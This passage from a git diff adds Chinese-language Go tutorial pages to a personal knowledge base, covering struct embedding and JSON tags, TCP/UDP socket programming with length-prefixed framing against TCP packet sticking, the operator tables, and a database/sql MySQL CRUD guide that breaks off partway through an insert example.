type User struct {
Name string
Gender string
Address Address
}

func main() {
user1 := User{
Name: "小王子",
Gender: "男",
Address: Address{
Province: "山东",
City: "威海",
},
}
fmt.Printf("user1=%#v\n", user1)//user1=main.User{Name:"小王子", Gender:"男", Address:main.Address{Province:"山东", City:"威海"}}
}
+

嵌套匿名字段​

+

上面user结构体中嵌套的Address结构体也可以采用匿名字段的方式,例如:

+
//Address 地址结构体
type Address struct {
Province string
City string
}

//User 用户结构体
type User struct {
Name string
Gender string
Address //匿名字段
}

func main() {
var user2 User
user2.Name = "小王子"
user2.Gender = "男"
user2.Address.Province = "山东" // 匿名字段默认使用类型名作为字段名
user2.City = "威海" // 匿名字段可以省略
fmt.Printf("user2=%#v\n", user2) //user2=main.User{Name:"小王子", Gender:"男", Address:main.Address{Province:"山东", City:"威海"}}
}
+

当访问结构体成员时会先在结构体中查找该字段,找不到再去嵌套的匿名字段中查找。

+

嵌套结构体的字段名冲突​

+

嵌套结构体内部可能存在相同的字段名。在这种情况下为了避免歧义需要通过指定具体的内嵌结构体字段名。

+
//Address 地址结构体
type Address struct {
Province string
City string
CreateTime string
}

//Email 邮箱结构体
type Email struct {
Account string
CreateTime string
}

//User 用户结构体
type User struct {
Name string
Gender string
Address
Email
}

func main() {
var user3 User
user3.Name = "沙河娜扎"
user3.Gender = "男"
// user3.CreateTime = "2019" //ambiguous selector user3.CreateTime
user3.Address.CreateTime = "2000" //指定Address结构体中的CreateTime
user3.Email.CreateTime = "2000" //指定Email结构体中的CreateTime
}
+

结构体的“继承”​

+

Go语言中使用结构体也可以实现其他编程语言中面向对象的继承。

+
//Animal 动物
type Animal struct {
name string
}

func (a *Animal) move() {
fmt.Printf("%s会动!\n", a.name)
}

//Dog 狗
type Dog struct {
Feet int8
*Animal //通过嵌套匿名结构体实现继承
}

func (d *Dog) wang() {
fmt.Printf("%s会汪汪汪~\n", d.name)
}

func main() {
d1 := &Dog{
Feet: 4,
Animal: &Animal{ //注意嵌套的是结构体指针
name: "乐乐",
},
}
d1.wang() //乐乐会汪汪汪~
d1.move() //乐乐会动!
}
+

结构体字段的可见性​

+

结构体中字段大写开头表示可公开访问,小写表示私有(仅在定义当前结构体的包中可访问)。

+

结构体与JSON序列化​

+

JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。JSON键值对是用来保存JS对象的一种方式,键/值对组合中的键名写在前面并用双引号""包裹,使用冒号:分隔,然后紧接着值;多个键值之间使用英文,分隔。

+
//Student 学生
type Student struct {
ID int
Gender string
Name string
}

//Class 班级
type Class struct {
Title string
Students []*Student
}

func main() {
c := &Class{
Title: "101",
Students: make([]*Student, 0, 200),
}
for i := 0; i < 10; i++ {
stu := &Student{
Name: fmt.Sprintf("stu%02d", i),
Gender: "男",
ID: i,
}
c.Students = append(c.Students, stu)
}
//JSON序列化:结构体-->JSON格式的字符串
data, err := json.Marshal(c)
if err != nil {
fmt.Println("json marshal failed")
return
}
fmt.Printf("json:%s\n", data)
//JSON反序列化:JSON格式的字符串-->结构体
str := `{"Title":"101","Students":[{"ID":0,"Gender":"男","Name":"stu00"},{"ID":1,"Gender":"男","Name":"stu01"},{"ID":2,"Gender":"男","Name":"stu02"},{"ID":3,"Gender":"男","Name":"stu03"},{"ID":4,"Gender":"男","Name":"stu04"},{"ID":5,"Gender":"男","Name":"stu05"},{"ID":6,"Gender":"男","Name":"stu06"},{"ID":7,"Gender":"男","Name":"stu07"},{"ID":8,"Gender":"男","Name":"stu08"},{"ID":9,"Gender":"男","Name":"stu09"}]}`
c1 := &Class{}
err = json.Unmarshal([]byte(str), c1)
if err != nil {
fmt.Println("json unmarshal failed!")
return
}
fmt.Printf("%#v\n", c1)
}
+

结构体标签(Tag)​

+

Tag是结构体的元信息,可以在运行的时候通过反射的机制读取出来。 Tag在结构体字段的后方定义,由一对反引号包裹起来,具体的格式如下:

+
`key1:"value1" key2:"value2"`
+

结构体tag由一个或多个键值对组成。键与值使用冒号分隔,值用双引号括起来。同一个结构体字段可以设置多个键值对tag,不同的键值对之间使用空格分隔。

+

注意事项: 为结构体编写Tag时,必须严格遵守键值对的规则。结构体标签的解析代码的容错能力很差,一旦格式写错,编译和运行时都不会提示任何错误,通过反射也无法正确取值。例如不要在key和value之间添加空格。

+

例如我们为Student结构体的每个字段定义json序列化时使用的Tag:

+
//Student 学生
type Student struct {
ID int `json:"id"` //通过指定tag实现json序列化该字段时的key
Gender string //json序列化是默认使用字段名作为key
name string //私有不能被json包访问
}

func main() {
s1 := Student{
ID: 1,
Gender: "男",
name: "沙河娜扎",
}
data, err := json.Marshal(s1)
if err != nil {
fmt.Println("json marshal failed!")
return
}
fmt.Printf("json str:%s\n", data) //json str:{"id":1,"Gender":"男"}
}
+

结构体和方法补充知识点​

+

因为slice和map这两种数据类型都包含了指向底层数据的指针,因此我们在需要复制它们时要特别注意。我们来看下面的例子:

+
type Person struct {
name string
age int8
dreams []string
}

func (p *Person) SetDreams(dreams []string) {
p.dreams = dreams
}

func main() {
p1 := Person{name: "小王子", age: 18}
data := []string{"吃饭", "睡觉", "打豆豆"}
p1.SetDreams(data)

// 你真的想要修改 p1.dreams 吗?
data[1] = "不睡觉"
fmt.Println(p1.dreams) // ?
}
+

正确的做法是在方法中使用传入的slice的拷贝进行结构体赋值。

+
func (p *Person) SetDreams(dreams []string) {
p.dreams = make([]string, len(dreams))
copy(p.dreams, dreams)
}
+

同样的问题也存在于返回值slice和map的情况,在实际编码过程中一定要注意这个问题。

+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-网络编程/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-网络编程/index.html new file mode 100644 index 0000000..e30d0a7 --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-网络编程/index.html @@ -0,0 +1,107 @@ + + + + + +Go语言基础之网络编程 | wjlin0 + + + + + + + +

Go语言基础之网络编程

+

互联网协议介绍​

+

互联网的核心是一系列协议,总称为”互联网协议”(Internet Protocol Suite),正是这一些协议规定了电脑如何连接和组网。我们理解了这些协议,就理解了互联网的原理。由于这些协议太过庞大和复杂,没有办法在这里一概而全,只能介绍一下我们日常开发中接触较多的几个协议。

+

互联网分层模型​

+

互联网的逻辑实现被分为好几层。每一层都有自己的功能,就像建筑物一样,每一层都靠下一层支持。用户接触到的只是最上面的那一层,根本不会感觉到下面的几层。要理解互联网就需要自下而上理解每一层的实现的功能。osi七层模型如上图所示,互联网按照不同的模型划分会有不用的分层,但是不论按照什么模型去划分,越往上的层越靠近用户,越往下的层越靠近硬件。在软件开发中我们使用最多的是上图中将互联网划分为五个分层的模型。

+

接下来我们一层一层的自底向上介绍一下每一层。

+

物理层​

+

我们的电脑要与外界互联网通信,需要先把电脑连接网络,我们可以用双绞线、光纤、无线电波等方式。这就叫做”实物理层”,它就是把电脑连接起来的物理手段。它主要规定了网络的一些电气特性,作用是负责传送0和1的电信号。

+

数据链路层​

+

单纯的0和1没有任何意义,所以我们使用者会为其赋予一些特定的含义,规定解读电信号的方式:例如:多少个电信号算一组?每个信号位有何意义?这就是”数据链接层”的功能,它在”物理层”的上方,确定了物理层传输的0和1的分组方式及代表的意义。早期的时候,每家公司都有自己的电信号分组方式。逐渐地,一种叫做”以太网”(Ethernet)的协议,占据了主导地位。

+

以太网规定,一组电信号构成一个数据包,叫做”帧”(Frame)。每一帧分成两个部分:标头(Head)和数据(Data)。其中”标头”包含数据包的一些说明项,比如发送者、接受者、数据类型等等;”数据”则是数据包的具体内容。”标头”的长度,固定为18字节。”数据”的长度,最短为46字节,最长为1500字节。因此,整个”帧”最短为64字节,最长为1518字节。如果数据很长,就必须分割成多个帧进行发送。

+

那么,发送者和接受者是如何标识呢?以太网规定,连入网络的所有设备都必须具有”网卡”接口。数据包必须是从一块网卡,传送到另一块网卡。网卡的地址,就是数据包的发送地址和接收地址,这叫做MAC地址。每块网卡出厂的时候,都有一个全世界独一无二的MAC地址,长度是48个二进制位,通常用12个十六进制数表示。前6个十六进制数是厂商编号,后6个是该厂商的网卡流水号。有了MAC地址,就可以定位网卡和数据包的路径了。

+

我们会通过ARP协议来获取接受方的MAC地址,有了MAC地址之后,如何把数据准确的发送给接收方呢?其实这里以太网采用了一种很”原始”的方式,它不是把数据包准确送到接收方,而是向本网络内所有计算机都发送,让每台计算机读取这个包的”标头”,找到接收方的MAC地址,然后与自身的MAC地址相比较,如果两者相同,就接受这个包,做进一步处理,否则就丢弃这个包。这种发送方式就叫做”广播”(broadcasting)。

+

网络层​

+

按照以太网协议的规则我们可以依靠MAC地址来向外发送数据。理论上依靠MAC地址,你电脑的网卡就可以找到身在世界另一个角落的某台电脑的网卡了,但是这种做法有一个重大缺陷就是以太网采用广播方式发送数据包,所有成员人手一”包”,不仅效率低,而且发送的数据只能局限在发送者所在的子网络。也就是说如果两台计算机不在同一个子网络,广播是传不过去的。这种设计是合理且必要的,因为如果互联网上每一台计算机都会收到互联网上收发的所有数据包,那是不现实的。

+

因此,必须找到一种方法区分哪些MAC地址属于同一个子网络,哪些不是。如果是同一个子网络,就采用广播方式发送,否则就采用”路由”方式发送。这就导致了”网络层”的诞生。它的作用是引进一套新的地址,使得我们能够区分不同的计算机是否属于同一个子网络。这套地址就叫做”网络地址”,简称”网址”。

+

“网络层”出现以后,每台计算机有了两种地址,一种是MAC地址,另一种是网络地址。两种地址之间没有任何联系,MAC地址是绑定在网卡上的,网络地址则是网络管理员分配的。网络地址帮助我们确定计算机所在的子网络,MAC地址则将数据包送到该子网络中的目标网卡。因此,从逻辑上可以推断,必定是先处理网络地址,然后再处理MAC地址。

+

规定网络地址的协议,叫做IP协议。它所定义的地址,就被称为IP地址。目前,广泛采用的是IP协议第四版,简称IPv4。IPv4这个版本规定,网络地址由32个二进制位组成,我们通常习惯用分成四段的十进制数表示IP地址,从0.0.0.0一直到255.255.255.255。

+

根据IP协议发送的数据,就叫做IP数据包。IP数据包也分为”标头”和”数据”两个部分:”标头”部分主要包括版本、长度、IP地址等信息,”数据”部分则是IP数据包的具体内容。IP数据包的”标头”部分的长度为20到60字节,整个数据包的总长度最大为65535字节。

+

传输层​

+

有了MAC地址和IP地址,我们已经可以在互联网上任意两台主机上建立通信。但问题是同一台主机上会有许多程序都需要用网络收发数据,比如QQ和浏览器这两个程序都需要连接互联网并收发数据,我们如何区分某个数据包到底是归哪个程序的呢?也就是说,我们还需要一个参数,表示这个数据包到底供哪个程序(进程)使用。这个参数就叫做”端口”(port),它其实是每一个使用网卡的程序的编号。每个数据包都发到主机的特定端口,所以不同的程序就能取到自己所需要的数据。

+

“端口”是0到65535之间的一个整数,正好16个二进制位。0到1023的端口被系统占用,用户只能选用大于1023的端口。有了IP和端口我们就能实现唯一确定互联网上一个程序,进而实现网络间的程序通信。

+

我们必须在数据包中加入端口信息,这就需要新的协议。最简单的实现叫做UDP协议,它的格式几乎就是在数据前面,加上端口号。UDP数据包,也是由”标头”和”数据”两部分组成:”标头”部分主要定义了发出端口和接收端口,”数据”部分就是具体的内容。UDP数据包非常简单,”标头”部分一共只有8个字节,总长度不超过65,535字节,正好放进一个IP数据包。

+

UDP协议的优点是比较简单,容易实现,但是缺点是可靠性较差,一旦数据包发出,无法知道对方是否收到。为了解决这个问题,提高网络可靠性,TCP协议就诞生了。TCP协议能够确保数据不会遗失。它的缺点是过程复杂、实现困难、消耗较多的资源。TCP数据包没有长度限制,理论上可以无限长,但是为了保证网络的效率,通常TCP数据包的长度不会超过IP数据包的长度,以确保单个TCP数据包不必再分割。

+

应用层​

+

应用程序收到”传输层”的数据,接下来就要对数据进行解包。由于互联网是开放架构,数据来源五花八门,必须事先规定好通信的数据格式,否则接收方根本无法获得真正发送的数据内容。”应用层”的作用就是规定应用程序使用的数据格式,例如我们TCP协议之上常见的Email、HTTP、FTP等协议,这些协议就组成了互联网协议的应用层。

+

如下图所示,发送方的HTTP数据经过互联网的传输过程中会依次添加各层协议的标头信息,接收方收到数据包之后再依次根据协议解包得到数据。

+

HTTP数据传输图解

+

socket编程​

+

Socket是BSD UNIX的进程通信机制,通常也称作”套接字”,用于描述IP地址和端口,是一个通信链的句柄。Socket可以理解为TCP/IP网络的API,它定义了许多函数或例程,程序员可以用它们来开发TCP/IP网络上的应用程序。电脑上运行的应用程序通常通过”套接字”向网络发出请求或者应答网络请求。

+

socket图解​

+

Socket是应用层与TCP/IP协议族通信的中间软件抽象层。在设计模式中,Socket其实就是一个门面模式,它把复杂的TCP/IP协议族隐藏在Socket后面,对用户来说只需要调用Socket规定的相关函数,让Socket去组织符合指定的协议数据然后进行通信。

+

socket图解

+

Go语言实现TCP通信​

+

TCP协议​

+

TCP/IP(Transmission Control Protocol/Internet Protocol) 即传输控制协议/网间协议,是一种面向连接(连接导向)的、可靠的、基于字节流的传输层(Transport layer)通信协议,因为是面向连接的协议,数据像水流一样传输,会存在黏包问题。

+

TCP服务端​

+

一个TCP服务端可以同时连接很多个客户端,例如世界各地的用户使用自己电脑上的浏览器访问淘宝网。因为Go语言中创建多个goroutine实现并发非常方便和高效,所以我们可以每建立一次链接就创建一个goroutine去处理。

+

TCP服务端程序的处理流程:

+
    +
  1. 监听端口
  2. +
  3. 接收客户端请求建立链接
  4. +
  5. 创建goroutine处理链接。
  6. +
+

我们使用Go语言的net包实现的TCP服务端代码如下:

+
// tcp/server/main.go

// TCP server端

// 处理函数
func process(conn net.Conn) {
defer conn.Close() // 关闭连接
for {
reader := bufio.NewReader(conn)
var buf [128]byte
n, err := reader.Read(buf[:]) // 读取数据
if err != nil {
fmt.Println("read from client failed, err:", err)
break
}
recvStr := string(buf[:n])
fmt.Println("收到client端发来的数据:", recvStr)
conn.Write([]byte(recvStr)) // 发送数据
}
}

func main() {
listen, err := net.Listen("tcp", "127.0.0.1:20000")
if err != nil {
fmt.Println("listen failed, err:", err)
return
}
for {
conn, err := listen.Accept() // 建立连接
if err != nil {
fmt.Println("accept failed, err:", err)
continue
}
go process(conn) // 启动一个goroutine处理连接
}
}
+

将上面的代码保存之后编译成server或server.exe可执行文件。

+

TCP客户端​

+

一个TCP客户端进行TCP通信的流程如下:

+
    +
  1. 建立与服务端的链接
  2. +
  3. 进行数据收发
  4. +
  5. 关闭链接
  6. +
+

使用Go语言的net包实现的TCP客户端代码如下:

+
// tcp/client/main.go

// 客户端
func main() {
conn, err := net.Dial("tcp", "127.0.0.1:20000")
if err != nil {
fmt.Println("err :", err)
return
}
defer conn.Close() // 关闭连接
inputReader := bufio.NewReader(os.Stdin)
for {
input, _ := inputReader.ReadString('\n') // 读取用户输入
inputInfo := strings.Trim(input, "\r\n")
if strings.ToUpper(inputInfo) == "Q" { // 如果输入q就退出
return
}
_, err = conn.Write([]byte(inputInfo)) // 发送数据
if err != nil {
return
}
buf := [512]byte{}
n, err := conn.Read(buf[:])
if err != nil {
fmt.Println("recv failed, err:", err)
return
}
fmt.Println(string(buf[:n]))
}
}
+

将上面的代码编译成client或client.exe可执行文件,先启动server端再启动client端,在client端输入任意内容回车之后就能够在server端看到client端发送的数据,从而实现TCP通信。

+

TCP黏包​

+

黏包示例​

+

服务端代码如下:

+
// socket_stick/server/main.go

func process(conn net.Conn) {
defer conn.Close()
reader := bufio.NewReader(conn)
var buf [1024]byte
for {
n, err := reader.Read(buf[:])
if err == io.EOF {
break
}
if err != nil {
fmt.Println("read from client failed, err:", err)
break
}
recvStr := string(buf[:n])
fmt.Println("收到client发来的数据:", recvStr)
}
}

func main() {

listen, err := net.Listen("tcp", "127.0.0.1:30000")
if err != nil {
fmt.Println("listen failed, err:", err)
return
}
defer listen.Close()
for {
conn, err := listen.Accept()
if err != nil {
fmt.Println("accept failed, err:", err)
continue
}
go process(conn)
}
}
+

客户端代码如下:

+
// socket_stick/client/main.go

func main() {
conn, err := net.Dial("tcp", "127.0.0.1:30000")
if err != nil {
fmt.Println("dial failed, err", err)
return
}
defer conn.Close()
for i := 0; i < 20; i++ {
msg := `Hello, Hello. How are you?`
conn.Write([]byte(msg))
}
}
+

将上面的代码保存后,分别编译。先启动服务端再启动客户端,可以看到服务端输出结果如下:

+
收到client发来的数据: Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?
收到client发来的数据: Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?
收到client发来的数据: Hello, Hello. How are you?Hello, Hello. How are you?
收到client发来的数据: Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?
收到client发来的数据: Hello, Hello. How are you?Hello, Hello. How are you?
+

客户端分10次发送的数据,在服务端并没有成功的输出10次,而是多条数据“粘”到了一起。

+

为什么会出现粘包​

+

主要原因就是tcp数据传递模式是流模式,在保持长连接的时候可以进行多次的收和发。

+

“粘包”可发生在发送端也可发生在接收端:

+
    +
  1. 由Nagle算法造成的发送端的粘包:Nagle算法是一种改善网络传输效率的算法。简单来说就是当我们提交一段数据给TCP发送时,TCP并不立刻发送此段数据,而是等待一小段时间看看在等待期间是否还有要发送的数据,若有则会一次把这两段数据发送出去。
  2. +
  3. 接收端接收不及时造成的接收端粘包:TCP会把接收到的数据存在自己的缓冲区中,然后通知应用层取数据。当应用层由于某些原因不能及时的把TCP的数据取出来,就会造成TCP缓冲区中存放了几段数据。
  4. +
+

解决办法​

+

出现”粘包”的关键在于接收方不确定将要传输的数据包的大小,因此我们可以对数据包进行封包和拆包的操作。

+

封包:封包就是给一段数据加上包头,这样一来数据包就分为包头和包体两部分内容了(过滤非法包时封包会加入”包尾”内容)。包头部分的长度是固定的,并且它存储了包体的长度,根据包头长度固定以及包头中含有包体长度的变量就能正确的拆分出一个完整的数据包。

+

我们可以自己定义一个协议,比如数据包的前4个字节为包头,里面存储的是发送的数据的长度。

+
// socket_stick/proto/proto.go
package proto

import (
"bufio"
"bytes"
"encoding/binary"
)

// Encode 将消息编码
func Encode(message string) ([]byte, error) {
// 读取消息的长度,转换成int32类型(占4个字节)
var length = int32(len(message))
var pkg = new(bytes.Buffer)
// 写入消息头
err := binary.Write(pkg, binary.LittleEndian, length)
if err != nil {
return nil, err
}
// 写入消息实体
err = binary.Write(pkg, binary.LittleEndian, []byte(message))
if err != nil {
return nil, err
}
return pkg.Bytes(), nil
}

// Decode 解码消息
func Decode(reader *bufio.Reader) (string, error) {
// 读取消息的长度
lengthByte, _ := reader.Peek(4) // 读取前4个字节的数据
lengthBuff := bytes.NewBuffer(lengthByte)
var length int32
err := binary.Read(lengthBuff, binary.LittleEndian, &length)
if err != nil {
return "", err
}
// Buffered返回缓冲中现有的可读取的字节数。
if int32(reader.Buffered()) < length+4 {
return "", err
}

// 读取真正的消息数据
pack := make([]byte, int(4+length))
_, err = reader.Read(pack)
if err != nil {
return "", err
}
return string(pack[4:]), nil
}
+

接下来在服务端和客户端分别使用上面定义的proto包的Decode和Encode函数处理数据。

+

服务端代码如下:

+
// socket_stick/server2/main.go

func process(conn net.Conn) {
defer conn.Close()
reader := bufio.NewReader(conn)
for {
msg, err := proto.Decode(reader)
if err == io.EOF {
return
}
if err != nil {
fmt.Println("decode msg failed, err:", err)
return
}
fmt.Println("收到client发来的数据:", msg)
}
}

func main() {

listen, err := net.Listen("tcp", "127.0.0.1:30000")
if err != nil {
fmt.Println("listen failed, err:", err)
return
}
defer listen.Close()
for {
conn, err := listen.Accept()
if err != nil {
fmt.Println("accept failed, err:", err)
continue
}
go process(conn)
}
}
+

客户端代码如下:

+
// socket_stick/client2/main.go

func main() {
conn, err := net.Dial("tcp", "127.0.0.1:30000")
if err != nil {
fmt.Println("dial failed, err", err)
return
}
defer conn.Close()
for i := 0; i < 20; i++ {
msg := `Hello, Hello. How are you?`
data, err := proto.Encode(msg)
if err != nil {
fmt.Println("encode msg failed, err:", err)
return
}
conn.Write(data)
}
}
+

Go语言实现UDP通信​

+

UDP协议​

+

UDP协议(User Datagram Protocol)中文名称是用户数据报协议,是OSI(Open System Interconnection,开放式系统互联)参考模型中一种无连接的传输层协议,不需要建立连接就能直接进行数据发送和接收,属于不可靠的、没有时序的通信,但是UDP协议的实时性比较好,通常用于视频直播相关领域。

+

UDP服务端​

+

使用Go语言的net包实现的UDP服务端代码如下:

+
// UDP/server/main.go

// UDP server端
func main() {
listen, err := net.ListenUDP("udp", &net.UDPAddr{
IP: net.IPv4(0, 0, 0, 0),
Port: 30000,
})
if err != nil {
fmt.Println("listen failed, err:", err)
return
}
defer listen.Close()
for {
var data [1024]byte
n, addr, err := listen.ReadFromUDP(data[:]) // 接收数据
if err != nil {
fmt.Println("read udp failed, err:", err)
continue
}
fmt.Printf("data:%v addr:%v count:%v\n", string(data[:n]), addr, n)
_, err = listen.WriteToUDP(data[:n], addr) // 发送数据
if err != nil {
fmt.Println("write to udp failed, err:", err)
continue
}
}
}
+

UDP客户端​

+

使用Go语言的net包实现的UDP客户端代码如下:

+
// UDP 客户端
func main() {
socket, err := net.DialUDP("udp", nil, &net.UDPAddr{
IP: net.IPv4(0, 0, 0, 0),
Port: 30000,
})
if err != nil {
fmt.Println("连接服务端失败,err:", err)
return
}
defer socket.Close()
sendData := []byte("Hello server")
_, err = socket.Write(sendData) // 发送数据
if err != nil {
fmt.Println("发送数据失败,err:", err)
return
}
data := make([]byte, 4096)
n, remoteAddr, err := socket.ReadFromUDP(data) // 接收数据
if err != nil {
fmt.Println("接收数据失败,err:", err)
return
}
fmt.Printf("recv:%v addr:%v count:%v\n", string(data[:n]), remoteAddr, n)
}
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-运算符/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-运算符/index.html new file mode 100644 index 0000000..6391b64 --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-运算符/index.html @@ -0,0 +1,200 @@ + + + + + +GoLang-运算符 | wjlin0 + + + + + + + +

GoLang-运算符

作者修订时间
wjlin02025-10-14 23:58:22
+
    +
  1. 算术运算符
  2. +
  3. 关系运算符
  4. +
  5. 逻辑运算符
  6. +
  7. 位运算符
  8. +
  9. 赋值运算符
  10. +
+

算术运算符​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
运算符描述
+相加
-相减
*相乘
/相除
%求余
+

注意: ++(自增)和--(自减)在Go语言中是单独的语句,并不是运算符。

+

关系运算符​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
运算符描述
==检查两个值是否相等,如果相等返回 True 否则返回 False。
!=检查两个值是否不相等,如果不相等返回 True 否则返回 False。
>检查左边值是否大于右边值,如果是返回 True 否则返回 False。
>=检查左边值是否大于等于右边值,如果是返回 True 否则返回 False。
<检查左边值是否小于右边值,如果是返回 True 否则返回 False。
<=检查左边值是否小于等于右边值,如果是返回 True 否则返回 False。
+

逻辑运算符​

+ + + + + + + + + + + + + + + + + + + + + +
运算符描述
&&逻辑 AND 运算符。 如果两边的操作数都是 True,则为 True,否则为 False。
||逻辑 OR 运算符。 如果两边的操作数有一个 True,则为 True,否则为 False。
!逻辑 NOT 运算符。 如果条件为 True,则为 False,否则为 True。
+

位运算符​

+

位运算符对整数在内存中的二进制位进行操作。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
运算符描述
&参与运算的两数各对应的二进位相与。 (两位均为1才为1)
|参与运算的两数各对应的二进位相或。 (两位有一个为1就为1)
^参与运算的两数各对应的二进位相异或,当两对应的二进位相异时,结果为1。 (两位不一样则为1)
<<左移n位就是乘以2的n次方。 a<<b是把a的各二进位全部左移b位,高位丢弃,低位补0。
>>右移n位就是除以2的n次方。 “a>>b”是把a的各二进位全部右移b位。
+

赋值运算符​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
运算符描述
=简单的赋值运算符,将一个表达式的值赋给一个左值
+=相加后再赋值
-=相减后再赋值
*=相乘后再赋值
/=相除后再赋值
%=求余后再赋值
<<=左移后赋值
>>=右移后赋值
&=按位与后赋值
|=按位或后赋值
^=按位异或后赋值
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/Golang-操作MySQL/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/Golang-操作MySQL/index.html new file mode 100644 index 0000000..5f1c527 --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/Golang-操作MySQL/index.html @@ -0,0 +1,174 @@ + + + + + +Golang-操作MySQL | wjlin0 + + + + + + + +

Golang-操作MySQL

作者修订时间
wjlin02025-10-14 23:58:22
+

Go语言中的database/sql包提供了保证SQL或类SQL数据库的泛用接口,并不提供具体的数据库驱动。使用database/sql包时必须注入(至少)一个数据库驱动。

+

我们常用的数据库基本上都有完整的第三方实现。例如:MySQL驱动

+

下载依赖​

+
go get -u github.com/go-sql-driver/mysql
+

使用MySQL驱动​

+
func Open(driverName, dataSourceName string) (*DB, error)
+

Open打开一个dirverName指定的数据库,dataSourceName指定数据源,一般至少包括数据库文件名和其它连接必要的信息。

+
import (
"database/sql"

_ "github.com/go-sql-driver/mysql"
)

func main() {
// DSN:Data Source Name
dsn := "user:password@tcp(127.0.0.1:3306)/dbname"
db, err := sql.Open("mysql", dsn)
if err != nil {
panic(err)
}
defer db.Close() // 注意这行代码要写在上面err判断的下面
}
+

思考题: 为什么上面代码中的defer db.Close()语句不应该写在if err != nil的前面呢?

+

初始化连接​

+

Open函数可能只是验证其参数格式是否正确,实际上并不创建与数据库的连接。如果要检查数据源的名称是否真实有效,应该调用Ping方法。

+

返回的DB对象可以安全地被多个goroutine并发使用,并且维护其自己的空闲连接池。因此,Open函数应该仅被调用一次,很少需要关闭这个DB对象。

+

接下来,我们定义一个全局变量db,用来保存数据库连接对象。将上面的示例代码拆分出一个独立的initDB函数,只需要在程序启动时调用一次该函数完成全局变量db的初始化,其他函数中就可以直接使用全局变量db了。(注意下方的注意)

+
// 定义一个全局对象db
var db *sql.DB

// 定义一个初始化数据库的函数
func initDB() (err error) {
// DSN:Data Source Name
dsn := "user:password@tcp(127.0.0.1:3306)/sql_test?charset=utf8mb4&parseTime=True"
// 不会校验账号密码是否正确
// 注意!!!这里不要使用:=,我们是给全局变量赋值,然后在main函数中使用全局变量db
db, err = sql.Open("mysql", dsn)
if err != nil {
return err
}
// 尝试与数据库建立连接(校验dsn是否正确)
err = db.Ping()
if err != nil {
return err
}
return nil
}

func main() {
err := initDB() // 调用输出化数据库的函数
if err != nil {
fmt.Printf("init db failed,err:%v\n", err)
return
}
}
+

其中sql.DB是表示连接的数据库对象(结构体实例),它保存了连接数据库相关的所有信息。它内部维护着一个具有零到多个底层连接的连接池,它可以安全地被多个goroutine同时使用。

+

SetMaxOpenConns​

+
func (db *DB) SetMaxOpenConns(n int)
+

SetMaxOpenConns设置与数据库建立连接的最大数目。 如果n大于0且小于最大闲置连接数,会将最大闲置连接数减小到匹配最大开启连接数的限制。 如果n<=0,不会限制最大开启连接数,默认为0(无限制)。

+

SetMaxIdleConns​

+
func (db *DB) SetMaxIdleConns(n int)
+

SetMaxIdleConns设置连接池中的最大闲置连接数。 如果n大于最大开启连接数,则新的最大闲置连接数会减小到匹配最大开启连接数的限制。 如果n<=0,不会保留闲置连接。

+

CRUD​

+

建库建表​

+

我们先在MySQL中创建一个名为sql_test的数据库

+
CREATE DATABASE sql_test;
+

进入该数据库:

+
use sql_test;
+

执行以下命令创建一张用于测试的数据表:

+
CREATE TABLE `user` (
`id` BIGINT(20) NOT NULL AUTO_INCREMENT,
`name` VARCHAR(20) DEFAULT '',
`age` INT(11) DEFAULT '0',
PRIMARY KEY(`id`)
)ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8mb4;
+

查询​

+

为了方便查询,我们事先定义好一个结构体来存储user表的数据。

+
type user struct {
id int
age int
name string
}
+

单行查询​

+

单行查询db.QueryRow()执行一次查询,并期望返回最多一行结果(即Row)。QueryRow总是返回非nil的值,直到返回值的Scan方法被调用时,才会返回被延迟的错误。(如:未找到结果)

+
func (db *DB) QueryRow(query string, args ...interface{}) *Row
+

具体示例代码:

+
// 查询单条数据示例
func queryRowDemo() {
sqlStr := "select id, name, age from user where id=?"
var u user
// 非常重要:确保QueryRow之后调用Scan方法,否则持有的数据库链接不会被释放
err := db.QueryRow(sqlStr, 1).Scan(&u.id, &u.name, &u.age)
if err != nil {
fmt.Printf("scan failed, err:%v\n", err)
return
}
fmt.Printf("id:%d name:%s age:%d\n", u.id, u.name, u.age)
}
+

多行查询​

+

多行查询db.Query()执行一次查询,返回多行结果(即Rows),一般用于执行select命令。参数args表示query中的占位参数。

+
func (db *DB) Query(query string, args ...interface{}) (*Rows, error)
+

具体示例代码:

+
// 查询多条数据示例
func queryMultiRowDemo() {
sqlStr := "select id, name, age from user where id > ?"
rows, err := db.Query(sqlStr, 0)
if err != nil {
fmt.Printf("query failed, err:%v\n", err)
return
}
// 非常重要:关闭rows释放持有的数据库链接
defer rows.Close()

// 循环读取结果集中的数据
for rows.Next() {
var u user
err := rows.Scan(&u.id, &u.name, &u.age)
if err != nil {
fmt.Printf("scan failed, err:%v\n", err)
return
}
fmt.Printf("id:%d name:%s age:%d\n", u.id, u.name, u.age)
}
}
+

插入数据​

+

插入、更新和删除操作都使用Exec方法。

+
func (db *DB) Exec(query string, args ...interface{}) (Result, error)
+

Exec执行一次命令(包括查询、删除、更新、插入等),返回的Result是对已执行的SQL命令的总结。参数args表示query中的占位参数。

+

具体插入数据示例代码如下:

+
// 插入数据
func insertRowDemo() {
sqlStr := "insert into user(name, age) values (?,?)"
ret, err := db.Exec(sqlStr, "王五", 38)
